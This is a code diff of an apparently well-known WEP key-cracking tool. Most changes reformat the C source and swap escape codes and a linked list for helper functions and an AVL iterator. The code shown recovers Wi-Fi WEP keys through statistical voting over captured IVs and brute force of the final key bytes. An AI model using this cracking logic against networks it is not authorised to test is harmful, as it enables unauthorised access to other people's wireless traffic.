+				printf("   %2d  ", i);
+				textstyle(TEXT_BRIGHT);
+				printf("%3d", wep.depth[i]);
+				textcolor_fg(TEXT_GREEN);
+				printf("/%3d   ", wep.fudge[i]);
+			}
 			else
-				printf( "   %2d  %3d/%3d   ",
-					i, wep.depth[i], wep.fudge[i] );
+				printf("   %2d  %3d/%3d   ", i, wep.depth[i], wep.fudge[i]);
 		}
 		else
-			printf( "   %2d  %3d/%3d   ",
-				i, depth[i], choices[i] );
+			printf("   %2d  %3d/%3d   ", i, depth[i], choices[i]);
 
-		if(table)
+		if (table)
 		{
-			for( j = depth[i]; j < k + depth[i]; j++ )
+			for (j = depth[i]; j < k + depth[i]; j++)
 			{
-				if( j >= 256 ) break;
+				if (j >= 256) break;
 
-				if( opt.l33t )
-					printf( "\33[1m%02X\33[22m(%4d) ",
-						table[i][j].b,
-						table[i][j].votes );
+				if (opt.l33t)
+				{
+					textstyle(TEXT_BRIGHT);
+					printf("%02X", table[i][j].b);
+					textcolor_fg(TEXT_GREEN);
+					printf("(%4d) ", table[i][j].votes);
+				}
 				else
-					printf( "%02X(%4d) ",  table[i][j].b,
-						table[i][j].votes );
+					printf("%02X(%4d) ", table[i][j].b, table[i][j].votes);
 			}
 		}
 		else
 		{
-			for( j = wep.depth[i]; j < k + wep.depth[i]; j++ )
+			for (j = wep.depth[i]; j < k + wep.depth[i]; j++)
 			{
-				if( j >= 256 ) break;
+				if (j >= 256) break;
 
-				if( wep.poll[i][j].val == 32767 )
+				if (wep.poll[i][j].val == 32767)
 				{
-					if( opt.l33t )
-						printf( "\33[1m%02X\33[22m(+inf) ",
-							wep.poll[i][j].idx );
+					if (opt.l33t)
+					{
+						textstyle(TEXT_BRIGHT);
+						printf("%02X", wep.poll[i][j].idx);
+						textcolor_normal();
+						printf("(+inf) ");
+					}
 					else
-						printf( "%02X(+inf) ", wep.poll[i][j].idx );
+						printf("%02X(+inf) ", wep.poll[i][j].idx);
 				}
 				else
 				{
-					if( opt.l33t )
-						printf( "\33[1m%02X\33[22m(%4d) ",
-							wep.poll[i][j].idx,
-							wep.poll[i][j].val );
+					if (opt.l33t)
+					{
+						textstyle(TEXT_BRIGHT);
+						printf("%02X", wep.poll[i][j].idx);
+						textcolor_normal();
+						printf("(%4d) ", wep.poll[i][j].val);
+					}
 					else
-						printf( "%02X(%4d) ",  wep.poll[i][j].idx,
-							wep.poll[i][j].val );
+						printf("%02X(%4d) ",
+							   wep.poll[i][j].idx,
+							   wep.poll[i][j].val);
 				}
 			}
 		}
 		if (opt.showASCII && !table)
-			if(wep.poll[i][wep.depth[i]].idx>=ASCII_LOW_T && wep.poll[i][wep.depth[i]].idx<=ASCII_HIGH_T)
-				if(wep.poll[i][wep.depth[i]].val>=ASCII_VOTE_STRENGTH_T || ASCII_DISREGARD_STRENGTH )
-					printf( "  %c",wep.poll[i][wep.depth[i]].idx );
+			if (wep.poll[i][wep.depth[i]].idx >= ASCII_LOW_T
+				&& wep.poll[i][wep.depth[i]].idx <= ASCII_HIGH_T)
+				if (wep.poll[i][wep.depth[i]].val >= ASCII_VOTE_STRENGTH_T
+					|| ASCII_DISREGARD_STRENGTH)
+					printf("  %c", wep.poll[i][wep.depth[i]].idx);
 
-		printf( "\n" );
+		printf("\n");
 	}
 
-	if( B < opt.keylen - 1 )
-		printf( "\33[J" );
+	if (B < opt.keylen - 1) erase_display(0);
 
-	printf( "\n" );
+	printf("\n");
 }
 
-static void key_found(unsigned char *wepkey, int keylen, int B)
+static void key_found(unsigned char * wepkey, int keylen, int B)
 {
 	FILE * keyFile;
 	int i, n;
 	int nb_ascii = 0;
 
-	for( i = 0; i < keylen; i++ )
-		if( wepkey[i] == 0 ||
-		( wepkey[i] >= 32 && wepkey[i] < 127 ) )
-			nb_ascii++;
+	if (opt.probability < 1) return;
+
+	for (i = 0; i < keylen; i++)
+		if (wepkey[i] == 0 || (wepkey[i] >= 32 && wepkey[i] < 127)) nb_ascii++;
 
 	wepkey_crack_success = 1;
 	memcpy(bf_wepkey, wepkey, keylen);
 
-	if( opt.is_quiet )
-		printf( "KEY FOUND! [ " );
+	if (opt.is_quiet)
+		printf("KEY FOUND! [ ");
 	else
 	{
-		if (B != -1)
-			show_wep_stats( B - 1, 1, NULL, NULL, NULL, 0 );
+		if (B != -1) show_wep_stats(B - 1, 1, NULL, NULL, NULL, 0);
 
-		if( opt.l33t )
-			printf( "\33[31;1m" );
+		if (opt.l33t)
+		{
+			textstyle(TEXT_BRIGHT);
+			textcolor_fg(TEXT_RED);
+		}
 
-		n = ( 80 - 14 - keylen * 3 ) / 2;
+		n = (80 - 14 - keylen * 3) / 2;
 
-		if( 100 * nb_ascii > 75 * keylen )
-			n -= ( keylen + 4 ) / 2;
+		if (100 * nb_ascii > 75 * keylen) n -= (keylen + 4) / 2;
 
-		if( n <= 0 ) n = 0;
+		if (n <= 0) n = 0;
 
-		printf( "\33[K\33[%dCKEY FOUND! [ ", n );
+		erase_line(0);
+		move(CURSOR_FORWARD, n);
+		printf("KEY FOUND! [ ");
 	}
 
-	for( i = 0; i < keylen - 1; i++ )
-		printf( "%02X:", wepkey[i] );
-	printf( "%02X ] ",   wepkey[i] );
+	for (i = 0; i < keylen - 1; i++) printf("%02X:", wepkey[i]);
+	printf("%02X ] ", wepkey[i]);
 
-	if( nb_ascii == keylen )
+	if (nb_ascii == keylen)
 	{
-		printf( "(ASCII: " );
+		printf("(ASCII: ");
 
-		for( i = 0; i < keylen; i++ )
-			printf( "%c", ( ( wepkey[i] >  31 && wepkey[i] < 127 ) ||
-				wepkey[i] > 160 ) ? wepkey[i] : '.' );
+		for (i = 0; i < keylen; i++)
+			printf("%c",
+				   ((wepkey[i] > 31 && wepkey[i] < 127) || wepkey[i] > 160)
+					   ? wepkey[i]
+					   : '.');
 
-		printf( " )" );
+		printf(" )");
 	}
 
-	if( opt.l33t )
-		printf( "\33[32;22m" );
+	if (opt.l33t)
+	{
+		textcolor_fg(TEXT_GREEN);
+		textcolor_normal();
+	}
 
-	printf( "\n\tDecrypted correctly: %d%%\n", opt.probability );
-	printf( "\n" );
+	printf("\n\tDecrypted correctly: %d%%\n", opt.probability);
+	printf("\n");
 
 	// Write the key to a file
-	if (opt.logKeyToFile != NULL) {
+	if (opt.logKeyToFile != NULL)
+	{
 		keyFile = fopen(opt.logKeyToFile, "w");
 		if (keyFile != NULL)
 		{
-			for( i = 0; i < keylen; i++ )
-				fprintf(keyFile, "%02X", wepkey[i]);
+			for (i = 0; i < keylen; i++) fprintf(keyFile, "%02X", wepkey[i]);
 			fclose(keyFile);
 		}
 	}
@@ -3141,7 +2887,7 @@
 
 /* test if the current WEP key is valid */
 
-int check_wep_key( unsigned char *wepkey, int B, int keylen )
+static int check_wep_key(unsigned char * wepkey, int B, int keylen)
 {
 	unsigned char x1, x2;
 	unsigned long xv;
@@ -3150,8 +2896,7 @@
 	unsigned char K[64];
 	unsigned char S[256];
 
-	if (keylen<=0)
-		keylen = opt.keylen;
+	if (keylen <= 0) keylen = opt.keylen;
 
 	pthread_mutex_lock(&mx_nb);
 	nb_tried++;
@@ -3159,77 +2904,78 @@
 
 	bad = 0;
 
-	memcpy( K + 3, wepkey, keylen );
+	memcpy(K + 3, wepkey, keylen);
 
 	tests = 32;
 
-// 	printf("keylen: %d\n", keylen);
-// 	if(keylen==13)
-// 		printf("%02X:%02X:%02X:%02X:%02X\n", wepkey[8],wepkey[9],wepkey[10],wepkey[11],wepkey[12]);
+	// 	printf("keylen: %d\n", keylen);
+	// 	if(keylen==13)
+	// 		printf("%02X:%02X:%02X:%02X:%02X\n",
+	// wepkey[8],wepkey[9],wepkey[10],wepkey[11],wepkey[12]);
 
-	if(opt.dict) tests = wep.nb_ivs;
+	if (opt.dict) tests = wep.nb_ivs;
 
-	if(tests < TEST_MIN_IVS) tests=TEST_MIN_IVS;
-	if(tests > TEST_MAX_IVS) tests=TEST_MAX_IVS;
+	if (tests < TEST_MIN_IVS) tests = TEST_MIN_IVS;
+	if (tests > TEST_MAX_IVS) tests = TEST_MAX_IVS;
 
-	for( n = 0; n < tests; n++ )
+	for (n = 0; n < tests; n++)
 	{
 		/* xv = 5 * ( rand() % wep.nb_ivs ); */
 		xv = 5 * n;
 
-		pthread_mutex_lock( &mx_ivb );
+		pthread_mutex_lock(&mx_ivb);
 
-		memcpy( K, &wep.ivbuf[xv], 3 );
-		memcpy( S, R, 256 );
+		memcpy(K, &wep.ivbuf[xv], 3);
+		memcpy(S, R, 256);
 
-		for( i = j = 0; i < 256; i++ )
+		for (i = j = 0; i < 256; i++)
 		{
-			j = ( j + S[i] + K[i % (3 + keylen)]) & 0xFF;
-			SWAP( S[i], S[j] );
+			j = (j + S[i] + K[i % (3 + keylen)]) & 0xFF;
+			SWAP(S[i], S[j]);
 		}
 
-		i = 1; j = ( 0 + S[i] ) & 0xFF; SWAP(S[i], S[j]);
+		i = 1;
+		j = (0 + S[i]) & 0xFF;
+		SWAP(S[i], S[j]);
 		x1 = wep.ivbuf[xv + 3] ^ S[(S[i] + S[j]) & 0xFF];
 
-		i = 2; j = ( j + S[i] ) & 0xFF; SWAP(S[i], S[j]);
+		i = 2;
+		j = (j + S[i]) & 0xFF;
+		SWAP(S[i], S[j]);
 		x2 = wep.ivbuf[xv + 4] ^ S[(S[i] + S[j]) & 0xFF];
 
-		pthread_mutex_unlock( &mx_ivb );
+		pthread_mutex_unlock(&mx_ivb);
 
-//		printf("xv: %li x1: %02X  x2: %02X\n", (xv/5), x1, x2);
+		//		printf("xv: %li x1: %02X  x2: %02X\n", (xv/5), x1, x2);
 
-		if( ( x1 != 0xAA || x2 != 0xAA ) &&
-			( x1 != 0xE0 || x2 != 0xE0 ) &&
-			( x1 != 0x42 || x2 != 0x42 ) &&
-			( x1 != 0x02 || x2 != 0xAA ) )					//llc sub layer management
+		if ((x1 != 0xAA || x2 != 0xAA) && (x1 != 0xE0 || x2 != 0xE0)
+			&& (x1 != 0x42 || x2 != 0x42)
+			&& (x1 != 0x02 || x2 != 0xAA)) // llc sub layer management
 			bad++;
 
-		if( bad > ((tests*opt.probability)/100) )
-			return( FAILURE );
+		if (bad > ((tests * opt.probability) / 100)) return (FAILURE);
 	}
 
-	opt.probability = (((tests-bad)*100)/tests);
+	opt.probability = (((tests - bad) * 100) / tests);
 	key_found(wepkey, keylen, B);
 
-	return( SUCCESS );
+	return (SUCCESS);
 }
 
 /* routine used to sort the votes */
 
-int cmp_votes( const void *bs1, const void *bs2 )
+static int cmp_votes(const void * bs1, const void * bs2)
 {
-	if( ((vote *) bs1)->val < ((vote *) bs2)->val )
-		return(  1 );
+	if (((vote *) bs1)->val < ((vote *) bs2)->val) return (1);
 
-	if( ((vote *) bs1)->val > ((vote *) bs2)->val )
-		return( -1 );
+	if (((vote *) bs1)->val > ((vote *) bs2)->val) return (-1);
 
-	return( 0 );
+	return (0);
 }
 
 /* sum up the votes and sort them */
 
-int calc_poll( int B )
+static int calc_poll(int B)
 {
 	int i, n, cid, *vi;
 	int votes[N_ATTACKS][256];
@@ -3238,181 +2984,177 @@
 
 	/* send the current keybyte # to each thread */
 
-	for( cid = 0; cid < opt.nbcpu; cid++ )
+	for (cid = 0; cid < opt.nbcpu; cid++)
 	{
-		n = sizeof( int );
+		n = sizeof(int);
 
-		if( safe_write( mc_pipe[cid][1], &B, n ) != n )
+		if (safe_write(mc_pipe[cid][1], &B, n) != n)
 		{
-			perror( "write failed" );
-			kill( 0, SIGTERM );
-			_exit( FAILURE );
+			perror("write failed");
+			kill(0, SIGTERM);
+			_exit(FAILURE);
 		}
 	}
 
 	/* collect the votes, multiply by the korek coeffs */
 
-	for( i = 0; i < 256; i++ )
+	for (i = 0; i < 256; i++)
 	{
 		wep.poll[B][i].idx = i;
 		wep.poll[B][i].val = 0;
 	}
 
-	for( cid = 0; cid < opt.nbcpu; cid++ )
+	for (cid = 0; cid < opt.nbcpu; cid++)
 	{
-		n = sizeof( votes );
+		n = sizeof(votes);
 
-		if( safe_read( cm_pipe[cid][0], votes, n ) != n )
+		if (safe_read(cm_pipe[cid][0], votes, n) != n)
 		{
-			perror( "read failed" );
-			kill( 0, SIGTERM );
-			_exit( FAILURE );
+			perror("read failed");
+			kill(0, SIGTERM);
+			_exit(FAILURE);
 		}
 
-		for( n = 0, vi = (int *) votes; n < N_ATTACKS; n++ )
-			for( i = 0; i < 256; i++, vi++ )
+		for (n = 0, vi = (int *) votes; n < N_ATTACKS; n++)
+			for (i = 0; i < 256; i++, vi++)
 			{
 				wep.poll[B][i].val += *vi * K_COEFF[n];
-				if(K_COEFF[n]) opt.votes[n] += *vi;
+				if (K_COEFF[n]) opt.votes[n] += *vi;
 			}
 	}
 
 	/* set votes to the max if the keybyte is user-defined */
 
-	if( opt.debug_row[B] )
-		wep.poll[B][opt.debug[B]].val = 32767;
+	if (opt.debug_row[B]) wep.poll[B][opt.debug[B]].val = 32767;
 
 	/* if option is set, restrict keyspace to alpha-numeric */
 
-	if( opt.is_alnum )
+	if (opt.is_alnum)
 	{
-		for( i = 1; i < 32; i++ )
-			wep.poll[B][i].val = -1;
+		for (i = 1; i < 32; i++) wep.poll[B][i].val = -1;
 
-		for( i = 127; i < 256; i++ )
-			wep.poll[B][i].val = -1;
+		for (i = 127; i < 256; i++) wep.poll[B][i].val = -1;
 	}
 
-	if( opt.is_fritz )
+	if (opt.is_fritz)
 	{
-		for( i = 0; i < 48; i++ )
-			wep.poll[B][i].val = -1;
+		for (i = 0; i < 48; i++) wep.poll[B][i].val = -1;
 
-		for( i = 58; i < 256; i++ )
-			wep.poll[B][i].val = -1;
+		for (i = 58; i < 256; i++) wep.poll[B][i].val = -1;
 	}
 
 	/* if option is set, restrict keyspace to BCD hex digits */
 
-	if( opt.is_bcdonly )
+	if (opt.is_bcdonly)
 	{
-		for( i = 1; i < 256; i++ )
-			if( i > 0x99 || ( i & 0x0F ) > 0x09 )
-				wep.poll[B][i].val = -1;
+		for (i = 1; i < 256; i++)
+			if (i > 0x99 || (i & 0x0F) > 0x09) wep.poll[B][i].val = -1;
 	}
 
 	/* sort the votes, highest ones first */
 
-	qsort( wep.poll[B], 256, sizeof( vote ), cmp_votes );
+	qsort(wep.poll[B], 256, sizeof(vote), cmp_votes);
 
-	return( SUCCESS );
+	return (SUCCESS);
 }
 
-int update_ivbuf( void )
+static int update_ivbuf(void)
 {
 	int n;
-	struct AP_info *ap_cur;
+	struct AP_info * ap_cur;
+	void * key;
 
 	/* 1st pass: compute the total number of available IVs */
 
 	wep.nb_ivs_now = 0;
 	wep.nb_aps = 0;
-	ap_cur = ap_1st;
+	// ap_cur = ap_1st;
+	c_avl_iterator_t * it = c_avl_get_iterator(access_points);
 
-	while( ap_cur != NULL )
+	while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0)
 	{
-		if( ap_cur->crypt == 2 && ap_cur->target )
+		if (ap_cur->crypt == 2 && ap_cur->target)
 		{
 			wep.nb_ivs_now += ap_cur->nb_ivs;
 			wep.nb_aps++;
 		}
-
-		ap_cur = ap_cur->next;
 	}
+	c_avl_iterator_destroy(it);
+	it = NULL;
 
 	/* 2nd pass: create the main IVs buffer if necessary */
 
-	if( wep.nb_ivs == 0 ||
-		( opt.keylen ==  5 && wep.nb_ivs_now - wep.nb_ivs > 20000 ) ||
-		( opt.keylen >= 13 && wep.nb_ivs_now - wep.nb_ivs > 40000 ) )
+	if (wep.nb_ivs == 0
+		|| (opt.keylen == 5 && wep.nb_ivs_now - wep.nb_ivs > 20000)
+		|| (opt.keylen >= 13 && wep.nb_ivs_now - wep.nb_ivs > 40000))
 	{
 		/* one buffer to rule them all */
 
-		pthread_mutex_lock( &mx_ivb );
+		pthread_mutex_lock(&mx_ivb);
 
-		if( wep.ivbuf != NULL )
+		if (wep.ivbuf != NULL)
 		{
-			free( wep.ivbuf );
+			free(wep.ivbuf);
 			wep.ivbuf = NULL;
 		}
 
 		wep.nb_ivs = 0;
 
-		ap_cur = ap_1st;
-
-		while( ap_cur != NULL )
+		it = c_avl_get_iterator(access_points);
+		while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0)
 		{
-			if( ap_cur->crypt == 2 && ap_cur->target )
+			if (ap_cur->crypt == 2 && ap_cur->target)
 			{
 				n = ap_cur->nb_ivs;
 
-				if( ( wep.ivbuf = realloc( wep.ivbuf,
-					( wep.nb_ivs + n ) * 5 ) ) == NULL )
+				if ((wep.ivbuf = realloc(wep.ivbuf, (wep.nb_ivs + n) * 5))
+					== NULL)
 				{
-					pthread_mutex_unlock( &mx_ivb );
-					perror( "realloc failed" );
-					kill( 0, SIGTERM );
-					_exit( FAILURE );
+					pthread_mutex_unlock(&mx_ivb);
+					perror("realloc failed");
+					kill(0, SIGTERM);
+					_exit(FAILURE);
 				}
 
-				memcpy( wep.ivbuf + wep.nb_ivs * 5, ap_cur->ivbuf, 5 * n );
+				memcpy(wep.ivbuf + wep.nb_ivs * 5, ap_cur->ivbuf, 5 * n);
 
 				wep.nb_ivs += n;
 			}
-
-			ap_cur = ap_cur->next;
 		}
+		c_avl_iterator_destroy(it);
+		it = NULL;
 
-		pthread_mutex_unlock( &mx_ivb );
+		pthread_mutex_unlock(&mx_ivb);
 
-		return( RESTART );
+		return (RESTART);
 	}
 
-	return( SUCCESS );
+	return (SUCCESS);
 }
 
 /*
- * It will remove votes for a specific keybyte (and remove from the requested current value)
+ * It will remove votes for a specific keybyte (and remove from the requested
+ * current value)
  * Return 0 on success, another value on failure
  */
-int remove_votes(int keybyte, unsigned char value)
+static int remove_votes(int keybyte, unsigned char value)
 {
 	int i;
 	int found = 0;
-	for (i=0; i < 256; i++)
+	for (i = 0; i < 256; i++)
 	{
-		if (wep.poll[keybyte][i].idx == (int)value)
+		if (wep.poll[keybyte][i].idx == (int) value)
 		{
 			found = 1;
-			//wep.poll[keybyte][i].val = 0;
+			// wep.poll[keybyte][i].val = 0;
 			// Update wep.key
 		}
 		if (found)
 		{
 			// Put the value at the end with NO votes
-			if (i== 255)
+			if (i == 255)
 			{
-				wep.poll[keybyte][i].idx = (int)value;
+				wep.poll[keybyte][i].idx = (int) value;
 				wep.poll[keybyte][i].val = 0;
 			}
 			else
@@ -3435,232 +3177,244 @@
  * reaches B == keylen. It also stops when the current keybyte vote *
  * is lower than the highest vote divided by the fudge factor.      */
 
-int do_wep_crack1( int B )
+static int do_wep_crack1(int B)
 {
-	int i, j, l, m, tsel, charread, askchange;
+	int i, j, l, m, tsel, charread;
 	int remove_keybyte_nr, remove_keybyte_value;
-	//int a,b;
+	// int a,b;
 	static int k = 0;
 	char user_guess[4];
 
-	askchange = 1;
-
-	get_ivs:
+get_ivs:
 
-	switch( update_ivbuf() )
+	switch (update_ivbuf())
 	{
-		case FAILURE: return( FAILURE );
-		case RESTART: return( RESTART );
-		default: break;
+		case FAILURE:
+			return (FAILURE);
+		case RESTART:
+			return (RESTART);
+		default:
+			break;
 	}
 
-	if( ( wep.nb_ivs_now < 256 && opt.debug[0] == 0 ) ||
-		( wep.nb_ivs_now <  32 && opt.debug[0] != 0 ) )
+	if ((wep.nb_ivs_now < 256 && opt.debug[0] == 0)
+		|| (wep.nb_ivs_now < 32 && opt.debug[0] != 0))
 	{
-		if( ! opt.no_stdin )
+		if (!opt.no_stdin)
 		{
-			printf(
-				"Not enough IVs available. You need about 250 000 IVs to crack\n"
-				"40-bit WEP, and more than 800 000 IVs to crack a 104-bit key.\n" );
-			kill( 0, SIGTERM );
-			_exit( FAILURE );
+			printf("Not enough IVs available. You need about 250 000 IVs to "
+				   "crack\n"
+				   "40-bit WEP, and more than 800 000 IVs to crack a 104-bit "
+				   "key.\n");
+			kill(0, SIGTERM);
+			_exit(FAILURE);
 		}
 		else
 		{
-			printf( "Read %ld packets, got %ld IVs...\r",
-				nb_pkt, wep.nb_ivs_now );
-			fflush( stdout );
+			printf(
+				"Read %ld packets, got %ld IVs...\r", nb_pkt, wep.nb_ivs_now);
+			fflush(stdout);
 
-			sleep( 1 );
+			sleep(1);
 			goto get_ivs;
 		}
 	}
 
 	/* if last keybyte reached, check if the key is valid */
 
-	if( B == opt.keylen )
+	if (B == opt.keylen)
 	{
-		if( ! opt.is_quiet )
-			show_wep_stats( B - 1, 0, NULL, NULL, NULL, 0 );
+		if (!opt.is_quiet) show_wep_stats(B - 1, 0, NULL, NULL, NULL, 0);
 
-		return( check_wep_key( wep.key, B, 0 ) );
+		return (check_wep_key(wep.key, B, 0));
 	}
 
-	/* now compute the poll resultst for keybyte B */
+	/* now compute the poll results for keybyte B */
 
-	if( calc_poll( B ) != SUCCESS )
-		return( FAILURE );
+	if (calc_poll(B) != SUCCESS) return (FAILURE);
 
-	/* fudge threshold = higest vote divided by fudge factor */
+	/* fudge threshold = highest vote divided by fudge factor */
 
-	for( wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++ )
-		if( (float) wep.poll[B][wep.fudge[B]].val <
-		(float) wep.poll[B][0].val / opt.ffact )
+	for (wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++)
+		if ((float) wep.poll[B][wep.fudge[B]].val
+			< (float) wep.poll[B][0].val / opt.ffact)
 			break;
 
 	/* try the most likely n votes, where n is the fudge threshold */
 
-	for( wep.depth[B] = 0; wep.depth[B] < wep.fudge[B]; ( wep.depth[B] )++ )
-	{
-		switch( update_ivbuf() )
-		{
-			case FAILURE: return( FAILURE );
-			case RESTART: return( RESTART );
-			default: break;
+	for (wep.depth[B] = 0;
+		 wep.fudge[B] > 0 && wep.fudge[B] < 256 && wep.depth[B] < wep.fudge[B];
+		 wep.depth[B]++)
+	{
+		switch (update_ivbuf())
+		{
+			case FAILURE:
+				return (FAILURE);
+			case RESTART:
+				return (RESTART);
+			default:
+				break;
 		}
 
 		wep.key[B] = wep.poll[B][wep.depth[B]].idx;
 
-		if( ! opt.is_quiet )
+		if (!opt.is_quiet)
 		{
-			show_wep_stats( B, 0, NULL, NULL, NULL, 0 );
+			show_wep_stats(B, 0, NULL, NULL, NULL, 0);
 		}
 
-		if( B == 4 && opt.keylen == 13 )
+		if (B == 4 && opt.keylen == 13)
 		{
 			/* even when cracking 104-bit WEP, *
 			 * check if the 40-bit key matches */
 
-			/* opt.keylen = 5; many functions use keylen. it is dangerous to do this in a multithreaded process */
+			/* opt.keylen = 5; many functions use keylen. it is dangerous to do
+			 * this in a multithreaded process */
 
-			if( check_wep_key( wep.key, B, 5 ) == SUCCESS )
+			if (check_wep_key(wep.key, B, 5) == SUCCESS)
 			{
 				opt.keylen = 5;
-				return( SUCCESS );
+				return (SUCCESS);
 			}
 
 			/* opt.keylen = 13; */
 		}
 
-
-
-		if( B + opt.do_brute + 1 == opt.keylen && opt.do_brute )
+		if (B + opt.do_brute + 1 == opt.keylen && opt.do_brute)
 		{
 			/* as noted by Simon Marechal, it's more efficient
 			 * to just bruteforce the last two keybytes. */
 
 			/*
 				Ask for removing votes here
-				1. Input keybyte. Use enter when it's done => Bruteforce will start
-				2. Input value to remove votes from: 00 -> FF or Enter to cancel remove
+				1. Input keybyte. Use enter when it's done => Bruteforce will
+			   start
+				2. Input value to remove votes from: 00 -> FF or Enter to cancel
+			   remove
 				3. Remove votes
 				4. Redraw
 				5. Go back to 1
 			*/
 			if (opt.visual_inspection == 1)
 			{
-				while(1)
+				while (1)
 				{
 					// Show the current stat
-					show_wep_stats( B, 1, NULL, NULL, NULL, 0 );
+					show_wep_stats(B, 1, NULL, NULL, NULL, 0);
 
-					// Inputting user value until it hits enter or give a valid value
-					printf("On which keybyte do you want to remove votes (Hit Enter when done)? ");
+					// Inputting user value until it hits enter or give a valid
+					// value
+					printf("On which keybyte do you want to remove votes (Hit "
+						   "Enter when done)? ");
 					memset(user_guess, 0, 4);
 
 					charread = readLine(user_guess, 3);
 
 					// Break if 'Enter' key was hit
-					if (user_guess[0] == 0 || charread == 0)
-						break;
+					if (user_guess[0] == 0 || charread == 0) break;
 
 					// If it's not a number, reask
-					// Check if inputted value is correct (from 0 to and inferior to opt.keylen)
+					// Check if inputted value is correct (from 0 to and
+					// inferior to opt.keylen)
 					remove_keybyte_nr = atoi(user_guess);
-					if (isdigit((int)user_guess[0]) == 0 || remove_keybyte_nr < 0 || remove_keybyte_nr >= opt.keylen)
+					if (isdigit((int) user_guess[0]) == 0
+						|| remove_keybyte_nr < 0
+						|| remove_keybyte_nr >= opt.keylen)
 						continue;
 
-
 					// It's a number for sure and the number is correct
 					// Now ask which value should be removed
-					printf("From which keybyte value do you want to remove the votes (Hit Enter to cancel)? ");
+					printf("From which keybyte value do you want to remove the "
+						   "votes (Hit Enter to cancel)? ");
 					memset(user_guess, 0, 4);
 					charread = readLine(user_guess, 3);
 
 					// Break if enter was hit
-					if (user_guess[0] == 0 || charread == 0)
-						continue;
+					if (user_guess[0] == 0 || charread == 0) continue;
 
 					remove_keybyte_value = hexToInt(user_guess, charread);
 
-					// Check if inputted value is correct (hexa). Value range: 00 - FF
+					// Check if inputted value is correct (hexa). Value range:
+					// 00 - FF
 					if (remove_keybyte_value < 0 || remove_keybyte_value > 255)
 						continue;
 
 					// If correct, remove and redraw
-					remove_votes(remove_keybyte_nr, (unsigned char)remove_keybyte_value);
+					remove_votes(remove_keybyte_nr,
+								 (unsigned char) remove_keybyte_value);
 				}
 			}
-			if (opt.nbcpu==1 || opt.do_mt_brute==0)
+			if (opt.nbcpu == 1 || opt.do_mt_brute == 0)
 			{
 
-				if (opt.do_brute==4)
+				if (opt.do_brute == 4)
 				{
-					for( l = 0; l < 256; l++)
+					for (l = 0; l < 256; l++)
 					{
 						wep.key[opt.brutebytes[0]] = l;
 
-						for( m = 0; m < 256; m++ )
+						for (m = 0; m < 256; m++)
 						{
 							wep.key[opt.brutebytes[1]] = m;
 
-							for( i = 0; i < 256; i++ )
+							for (i = 0; i < 256; i++)
 							{
 								wep.key[opt.brutebytes[2]] = i;
 
-								for( j = 0; j < 256; j++ )
+								for (j = 0; j < 256; j++)
 								{
 									wep.key[opt.brutebytes[3]] = j;
 
-									if (check_wep_key( wep.key, B + 1, 0 ) == SUCCESS)
+									if (check_wep_key(wep.key, B + 1, 0)
+										== SUCCESS)
 										return SUCCESS;
 								}
 							}
 						}
 					}
 				}
-				else if (opt.do_brute==3)
+				else if (opt.do_brute == 3)
 				{
-					for( m = 0; m < 256; m++ )
+					for (m = 0; m < 256; m++)
 					{
 						wep.key[opt.brutebytes[0]] = m;
 
-						for( i = 0; i < 256; i++ )
+						for (i = 0; i < 256; i++)
 						{
 							wep.key[opt.brutebytes[1]] = i;
 
-							for( j = 0; j < 256; j++ )
+							for (j = 0; j < 256; j++)
 							{
 								wep.key[opt.brutebytes[2]] = j;
 
-								if (check_wep_key( wep.key, B + 1, 0 ) == SUCCESS)
+								if (check_wep_key(wep.key, B + 1, 0) == SUCCESS)
 									return SUCCESS;
 							}
 						}
 					}
 				}
-				else if (opt.do_brute==2)
+				else if (opt.do_brute == 2)
 				{
-					for( i = 0; i < 256; i++ )
+					for (i = 0; i < 256; i++)
 					{
 						wep.key[opt.brutebytes[0]] = i;
 
-						for( j = 0; j < 256; j++ )
+						for (j = 0; j < 256; j++)
 						{
 							wep.key[opt.brutebytes[1]] = j;
 
-							if (check_wep_key( wep.key, B + 1, 0 ) == SUCCESS)
+							if (check_wep_key(wep.key, B + 1, 0) == SUCCESS)
 								return SUCCESS;
 						}
 					}
 				}
 				else
 				{
-					for( i = 0; i < 256; i++ )
+					for (i = 0; i < 256; i++)
 					{
 						wep.key[opt.brutebytes[0]] = i;
 
-						if (check_wep_key( wep.key, B + 1, 0 ) == SUCCESS)
+						if (check_wep_key(wep.key, B + 1, 0) == SUCCESS)
 							return SUCCESS;
 					}
 				}
@@ -3668,307 +3422,331 @@
 			else
 			{
 				/* multithreaded bruteforcing of the last 2 keybytes */
-				k = (k+1) % opt.nbcpu;
+				k = (k + 1) % opt.nbcpu;
 				do
 				{
-					for(tsel=0; tsel<opt.nbcpu && !wepkey_crack_success; ++tsel)
+					for (tsel = 0; tsel < opt.nbcpu && !wepkey_crack_success;
+						 ++tsel)
 					{
-						if (bf_nkeys[(tsel+k) % opt.nbcpu]>16)
+						if (bf_nkeys[(tsel + k) % opt.nbcpu] > 16)
 						{
 							usleep(1);
 							continue;
 						}
 						else
 						{
-							/* write our current key to the pipe so it'll have its last 2 bytes bruteforced */
-							bf_nkeys[(tsel+k) % opt.nbcpu]++;
-
-							if (safe_write(bf_pipe[(tsel+k) % opt.nbcpu][1], (void *) wep.key, 64) != 64)
+							/* write our current key to the pipe so it'll have
+							 * its last 2 bytes bruteforced */
+							bf_nkeys[(tsel + k) % opt.nbcpu]++;
+
+							if (safe_write(bf_pipe[(tsel + k) % opt.nbcpu][1],
+										   (void *) wep.key,
+										   64)
+								!= 64)
 							{
-								perror( "write pmk failed" );
-								kill( 0, SIGTERM );
-								_exit( FAILURE );
+								perror("write pmk failed");
+								kill(0, SIGTERM);
+								_exit(FAILURE);
 							}
 							break;
 						}
 					}
-				} while (tsel>=opt.nbcpu && !wepkey_crack_success);
+				} while (tsel >= opt.nbcpu && !wepkey_crack_success);
 
 				if (wepkey_crack_success)
 				{
 					memcpy(wep.key, bf_wepkey, opt.keylen);
-					return(SUCCESS);
+					return (SUCCESS);
 				}
 			}
 		}
 		else
 		{
-			switch( do_wep_crack1( B + 1 ) )
+			switch (do_wep_crack1(B + 1))
 			{
-				case SUCCESS: return( SUCCESS );
-				case RESTART: return( RESTART );
-				default: break;
+				case SUCCESS:
+					return (SUCCESS);
+				case RESTART:
+					return (RESTART);
+				default:
+					break;
 			}
 		}
 	}
 
-	//if we are going to fail on the root byte, check again if there are still threads bruting, if so wait and check again.
-	if(B==0)
